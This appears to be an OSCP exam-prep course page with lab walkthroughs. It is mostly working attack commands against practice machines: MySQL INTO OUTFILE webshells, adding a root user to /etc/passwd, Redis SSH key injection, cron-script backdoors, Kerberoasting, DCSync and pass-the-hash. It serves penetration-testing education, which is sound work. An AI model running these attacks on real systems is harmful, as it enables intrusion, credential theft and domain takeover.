From Zero to OSCP
Ten modules. Twenty-five machines. Every technique that shows up on the exam. Work through them in order โ each module builds on the last.
Train on real OSCP machines โ free, in your browser
Ten modules. Twenty-five deliberately-vulnerable boxes covering everything the exam throws at you โ enumeration, web, Active Directory, Linux privesc and more. No VPN, no setup: spin a machine up and start hacking. Free accounts get 3 fresh machines every day.
- โ Exam-style Linux & Windows machines
- โ On-box tips that teach the method, not just the answer
- โ Full walkthrough unlocks once you root the box
- โ No credit card โ sign up and go
Uncle Rat's Ultimate OSCP Prep Guide & Course
Want the complete roadmap? My full OSCP course walks the entire methodology end-to-end โ the guide, the videos, and the exact game-plan I use to pass โ and includes 3 months of RatCTF Premium (unlimited daily machines) so you can drill everything here with no limits.
Get the full OSCP course โExam Strategy
Four principles that separate passing attempts from failing ones.
1 โ Enumerate First, Always
The single biggest cause of OSCP failures is running exploits before finishing enumeration. Run full nmap TCP + UDP, then service-specific scripts before touching Metasploit or exploit-db. Every machine in this path is broken by information you can find with standard tools โ no zero-days required.
nmap -sC -sV -p- -T4 -oA full_tcp TARGET
nmap -sU --top-ports 200 -oA top_udp TARGET
2 โ Keep a Playbook
Build a personal cheat-sheet as you go through these labs. Write down every command that worked, every privesc vector you found, and every service quirk. On exam day you will not have time to think โ you need to execute. The best playbook is the one you wrote yourself while rooting real machines.
# Suggested structure
notes/
enum/ recon outputs per target
privesc/ local enum, sudo, SUID, cron
shells/ working reverse shell one-liners
flags/ user.txt + root.txt per machine
3 โ Master PrivEsc Patterns
Getting a foothold is the easy half. Escalating to root is where most candidates get stuck. Learn to run LinPEAS and read the output critically. The five most common vectors on OSCP: sudo misconfiguration, writable cron jobs, SUID binaries, world-writable service scripts, and weak file permissions on config files.
sudo -l # always first
find / -perm -4000 -type f 2>/dev/null # SUID binaries
cat /etc/crontab && ls /etc/cron* # cron jobs
ls -la /etc/passwd /etc/shadow /etc/sudoers
4 โ Active Directory Is Mandatory
The OSCP exam always includes an Active Directory set worth a huge chunk of the points. Module 8 (Active Directory) is the module most candidates under-prepare โ and the reason they fail. Drill all three domains until enumerate โ foothold โ domain admin is muscle memory, and give AD a big slice of your study time.
# AD drill goal: enumerate โ foothold โ DA in one session
# Chain all three domains: CorpNet โ MegaCorp โ VaultNet
# Must be muscle memory before exam day
The Ten Modules
Complete them in order. Each module has paced assignments โ finish all assignments before moving on.
Recon & Enumeration
Every engagement starts with protocol-aware reconnaissance. These labs force you to extract live data from DNS and SNMP before touching an exploit.
PEN-200 Module 5 โ Information Gathering- Zone transfers & DNS brute-forcing (dig, dnsenum, fierce)
- SNMP community string enumeration (snmpwalk, onesixtyone)
- Service fingerprinting with nmap -sV / --script
- Building an accurate target asset inventory
Hands-on assignments for this module are available to Premium members.
Cleartext Protocol Exploitation
Telnet and TFTP represent the bottom of the authentication security ladder. These labs teach credential capture, anonymous file retrieval, and pivoting from weak services.
PEN-200 Module 9 โ Attacking Network Services- Telnet credential brute-force and session hijacking
- TFTP directory traversal and unauthenticated file retrieval
- Hydra / Medusa against TCP auth services
- Service-to-shell chains with shared credential reuse
Hands-on assignments for this module are available to Premium members.
File Share Exploitation
Misconfigured rsync modules and anonymous SMB shares remain common in real enterprise targets. Learn to extract secrets from both.
PEN-200 Module 9 & 12 โ Network Services / Windows Exploitation- Rsync anonymous module enumeration and download
- SMB null session enumeration (smbclient, enum4linux)
- FTP anonymous access and writable directory abuse
- Credential extraction from synced configuration files
Hands-on assignments for this module are available to Premium members.
Mail & VoIP Services
Two classic network services that leak their way to a shell. SMTP VRFY/EXPN leaks usernames for password sprays; a misconfigured Asterisk PBX (SIP + the Manager port) hands over remote command execution. Footprinting network services is a consistent OSCP theme.
PEN-200 Module 9 โ Attacking Network Services- SMTP user enumeration via VRFY, EXPN, RCPT TO
- Open relay detection and abuse
- SIP extension enumeration & password cracking (SIPVicious svwar/svcrack)
- Asterisk Manager Interface (AMI) abuse โ Originate/System RCE
- Credential reuse across SIP, AMI, and SSH
Hands-on assignments for this module are available to Premium members.
Web Exploitation โ Foundations
Command injection via PHP applications is the most common initial foothold on OSCP. This lab isolates the pattern, from parameter discovery to reverse shell.
PEN-200 Module 13 โ Web Application Attacks- Directory / file enumeration (gobuster, ffuf)
- PHP command injection parameter identification
- Reverse shell staging with netcat and /dev/tcp
- Shell stabilisation (pty upgrade, stty raw -echo)
Hands-on assignments for this module are available to Premium members.
Web Exploitation โ Advanced
Chain SQLi โ command injection โ file upload in a realistic portal application. Mirrors the multi-stage web machines that appear in OSCP exam sets.
PEN-200 Module 13 & 14 โ Web Application Attacks Premium- SQL injection (UNION-based + blind) with sqlmap
- Authentication bypass via SQLi
- Command injection chaining after auth bypass
- Malicious file upload (PHP webshell bypass techniques)
- sudo -l privilege escalation via interpreter abuse
Hands-on assignments for this module are available to Premium members.
Database & Directory Services
MySQL, LDAP, and Redis each store credentials and configuration data. These labs teach extraction, lateral movement via credential reuse, and privesc via service trust.
PEN-200 Module 9 & 17 โ Network Services / Post-Exploitation- MySQL unauthenticated login, UDF exploitation, INTO OUTFILE
- LDAP anonymous bind and attribute enumeration (ldapsearch)
- Redis CONFIG SET dir / dbfilename SSH key injection
- Credential pivoting from database user tables
Machine Walkthrough MySQL-Lab โ Unauthenticated Login & INTO OUTFILE Webshell
Goal: Connect to MySQL without credentials, dump the database for credentials, write a PHP shell to the web root using INTO OUTFILE, then escalate via sudo mysql.
Phase 1 โ Port Scan
nmap -sC -sV -p 22,80,3306 TARGET
Phase 2 โ MySQL Unauthenticated Access
MySQL is sometimes configured with an empty root password or with root accessible from any host. Always try connecting without a password first.
# No password (most common misconfiguration)
mysql -h TARGET -u root
# With --skip-password flag:
mysql -h TARGET -u root --skip-password
# Inside MySQL:
SHOW DATABASES;
USE mysql;
SELECT user, authentication_string FROM user;
SHOW GRANTS FOR 'root'@'%';
Phase 3 โ Dump Credentials
USE webapp;
SHOW TABLES;
SELECT * FROM users;
# Note: look for password hashes โ crack them with hashcat/john
Phase 4 โ INTO OUTFILE Webshell
If MySQL runs as a user with write permission to the web root,
INTO OUTFILE can write an arbitrary file to disk.
-- Check write permissions
SELECT ''
INTO OUTFILE '/var/www/html/shell.php';
-- Access the shell:
-- curl "http://TARGET/shell.php?cmd=id"
Phase 5 โ SSH Foothold
ssh labuser@TARGET # credentials from DB dump
cat ~/user.txt
Phase 6 โ sudo mysql PrivEsc
If sudo -l shows MySQL, use GTFOBins' mysql entry to spawn a root shell.
The -e flag lets you run shell commands from inside mysql.
sudo -l
# (ALL) NOPASSWD: /usr/bin/mysql
sudo mysql -e '\! /bin/bash'
cat /root/root.txt
Machine Walkthrough LDAP-Lab โ Anonymous Bind, Attribute Enumeration & Hash Cracking
Goal: Perform an anonymous LDAP bind to enumerate directory objects and find credentials hidden in description attributes. Crack any hashed passwords found, then escalate via a writable file.
Phase 1 โ Port Scan
nmap -sC -sV -p 22,389,636 TARGET # 389=LDAP, 636=LDAPS
Phase 2 โ LDAP Anonymous Bind
An anonymous bind means connecting to LDAP with no credentials. Many LDAP servers allow this and expose the entire directory structure.
# Get the base DN (domain naming context)
ldapsearch -x -H ldap://TARGET -s base namingContexts
# Full anonymous dump
ldapsearch -x -H ldap://TARGET -b "dc=lab,dc=local"
# Specific object types:
ldapsearch -x -H ldap://TARGET -b "dc=lab,dc=local" "(objectClass=person)"
ldapsearch -x -H ldap://TARGET -b "dc=lab,dc=local" "(objectClass=user)"
Phase 3 โ Attribute Analysis
LDAP attributes store all kinds of data. The description attribute is commonly abused
to store passwords in plaintext by lazy administrators.
# Search for all attributes of user objects
ldapsearch -x -H ldap://TARGET -b "dc=lab,dc=local" \
"(objectClass=person)" uid userPassword description
# Also check for:
# - userPassword (often base64 or SSHA hash)
# - description (sometimes plaintext passwords)
# - info
# - comment
Phase 4 โ Hash Cracking
LDAP often stores passwords as SSHA (Salted SHA-1) hashes, identified by the {SSHA} prefix.
# hashcat mode for SSHA
hashcat -m 111 -a 0 '{SSHA}HASH_HERE' /usr/share/wordlists/rockyou.txt
# john the ripper alternative
echo '{SSHA}HASH_HERE' > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Phase 5 โ SSH Foothold
ssh labuser@TARGET # use cracked password
cat ~/user.txt
Phase 6 โ PrivEsc via Writable /etc/passwd
If /etc/passwd is world-writable, you can add a new root-level user
(or clear the root password) and su to it.
# Check write permissions
ls -la /etc/passwd
# Generate a password hash for 'password123'
openssl passwd -1 password123
# Output: $1$...hash...
# Append a new root user
echo 'hacker:$1$xyz$HASH:0:0:root:/root:/bin/bash' >> /etc/passwd
# Switch to the new user
su hacker # password: password123
cat /root/root.txt
Machine Walkthrough Redis-Lab โ CONFIG SET SSH Key Injection
Goal: Connect to an unauthenticated Redis instance and use its CONFIG SET commands to write your SSH public key to root's authorized_keys file.
Phase 1 โ Port Scan
nmap -sC -sV -p 22,6379 TARGET # 6379 = Redis default port
Phase 2 โ Redis Unauthenticated Access
redis-cli -h TARGET
TARGET> PING
# Response: PONG โ connected and unauthenticated
TARGET> INFO server # version, OS, config file path
TARGET> CONFIG GET dir # current working directory for RDB
TARGET> CONFIG GET dbfilename
Phase 3 โ SSH Key Injection via RDB Save
Redis's CONFIG SET changes where it saves its database dump.
By pointing it at /root/.ssh/ and saving a database containing your SSH key,
the key gets written to authorized_keys.
# Step 1: Generate an SSH key on YOUR machine (if needed)
ssh-keygen -t rsa -b 2048 -f /tmp/redis_key -N ""
# Step 2: Prepare the key with newlines (Redis RDB format needs padding)
(echo -e "\n\n"; cat /tmp/redis_key.pub; echo -e "\n\n") > /tmp/key_payload.txt
# Step 3: In redis-cli, set the save directory and filename
redis-cli -h TARGET config set dir /root/.ssh/
redis-cli -h TARGET config set dbfilename authorized_keys
# Step 4: Write the key as a Redis value
cat /tmp/key_payload.txt | redis-cli -h TARGET -x set ssh_key
# Step 5: Force a save
redis-cli -h TARGET save
# Step 6: SSH as root with your key
ssh -i /tmp/redis_key root@TARGET
cat /root/root.txt
Why it works: The Redis RDB file is a binary format but the key value you set is stored as plaintext inside it. When sshd reads authorized_keys, it skips the binary garbage and finds your public key โ because the key format is recognisable even with surrounding noise.
Active Directory
Three Windows domains of increasing size. Start with the CorpNet pair (DC + workstation), then take on the larger MegaCorp and VaultNet environments (DC, workstation, and a DB member server). Enumerate AD objects, escalate via Kerberoasting or AS-REP roasting, move laterally, and DCSync your way to domain admin.
PEN-200 Module 21โ22 โ Active Directory Attacks- BloodHound / ldapdomaindump AD object enumeration
- Kerberoasting and AS-REP roasting (GetUserSPNs.py)
- Pass-the-Hash and Pass-the-Ticket lateral movement
- DCSync for credential harvesting (secretsdump.py)
- Multi-host lateral movement across DC, workstation, and member servers
Machine Walkthrough Corp-WS โ Workstation Foothold & Lateral Movement to DC
Goal: Get credentials from an SMB share on the workstation, SSH in, find further credentials for the domain, then pivot to Corp-DC.
Phase 1 โ Enumerate the Workstation
nmap -sC -sV -p 22,139,445 CORP_WS_IP
smbclient -L //CORP_WS_IP -N
enum4linux -a CORP_WS_IP
Phase 2 โ SMB Share Access
smbclient //CORP_WS_IP/IT -N
smb: \> ls
smb: \> get credentials.txt
smb: \> exit
cat credentials.txt # contains domain user + password
Phase 3 โ SSH Foothold on Workstation
ssh jsmith@CORP_WS_IP # password from credentials.txt
cat ~/user.txt
Phase 4 โ Local Enumeration for PrivEsc
sudo -l
find / -perm -4000 2>/dev/null
cat /etc/crontab
ls -la /etc/cron.d/
# Look for writable service scripts
ls -la /opt/ /var/www/ /etc/init.d/
Phase 5 โ Writable Service Script PrivEsc
# If you find a service running as root with a writable script:
cat /etc/cron.d/backup
# * * * * * root /opt/backup.sh
ls -la /opt/backup.sh
# -rwxrwxrwx = world-writable
echo 'chmod +s /bin/bash' >> /opt/backup.sh
sleep 70 # wait for next cron cycle
/bin/bash -p
cat /root/root.txt
Phase 6 โ Gather Domain Credentials for DC Attack
# On the workstation, find cached credentials or config files
find / -name "*.conf" -o -name "*.ini" -o -name "*.xml" 2>/dev/null | xargs grep -l -i "password" 2>/dev/null
cat ~/.bash_history # previous commands sometimes contain passwords
Machine Walkthrough Corp-DC โ Kerberoasting, Lateral Movement & DCSync
Goal: Use credentials from Corp-WS to Kerberoast a service account on the DC, crack the TGS ticket, then use the cracked credentials to execute DCSync and dump all domain hashes.
Phase 1 โ AD Enumeration with ldapdomaindump
ldapdomaindump -u 'CORP.LOCAL\jsmith' -p 'Password1!' CORP_DC_IP
# Creates HTML/JSON files with all domain objects
# Or use BloodHound ingestor:
bloodhound-python -d CORP.LOCAL -u jsmith -p Password1! -c All -ns CORP_DC_IP
Phase 2 โ Kerberoasting
Kerberoasting requests Kerberos service tickets (TGS) for accounts with SPNs. These tickets are encrypted with the service account's password hash and can be cracked offline.
GetUserSPNs.py CORP.LOCAL/jsmith:Password1! -dc-ip CORP_DC_IP -request
# Output: one hash per SPN, in hashcat format
# $krb5tgs$23$*svc_backup$CORP.LOCAL$......
Phase 3 โ Crack the TGS Hash
# hashcat mode 13100 = Kerberos TGS-REP (RC4-HMAC)
hashcat -m 13100 -a 0 kerberoast.hash /usr/share/wordlists/rockyou.txt
# john alternative:
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast.hash
Phase 4 โ Lateral Movement to DC
evil-winrm -i CORP_DC_IP -u svc_backup -p CrackedPassword123!
# Or SMBExec / PSExec if WinRM is not available:
psexec.py CORP.LOCAL/svc_backup:CrackedPassword123!@CORP_DC_IP cmd.exe
Phase 5 โ DCSync โ Dump All Domain Hashes
DCSync abuses domain replication rights to pull password hashes directly from the DC without touching LSASS โ stealthier than a traditional dump.
secretsdump.py CORP.LOCAL/svc_backup:CrackedPassword123!@CORP_DC_IP
# Specifically dump the Administrator hash:
secretsdump.py CORP.LOCAL/svc_backup:CrackedPassword123!@CORP_DC_IP -just-dc-user Administrator
Phase 6 โ Pass-the-Hash to Admin Shell
psexec.py -hashes :NTLM_HASH_HERE Administrator@CORP_DC_IP cmd.exe
type C:\Users\Administrator\Desktop\root.txt
AD quick-reference: Domain User โ Kerberoast โ Crack TGS โ Privileged Account โ DCSync โ Domain Admin. Memorise this chain. It covers the majority of OSCP AD sets.
Linux Privilege Escalation โ Project Meridian Locked
Five machines inside SolarGate Energy's network. Each teaches a distinct Linux privesc technique: SUID binaries, cron job hijacking, sudo vim, sudo awk, and Linux capabilities. Work through them in order โ difficulty climbs from Easy to Hard.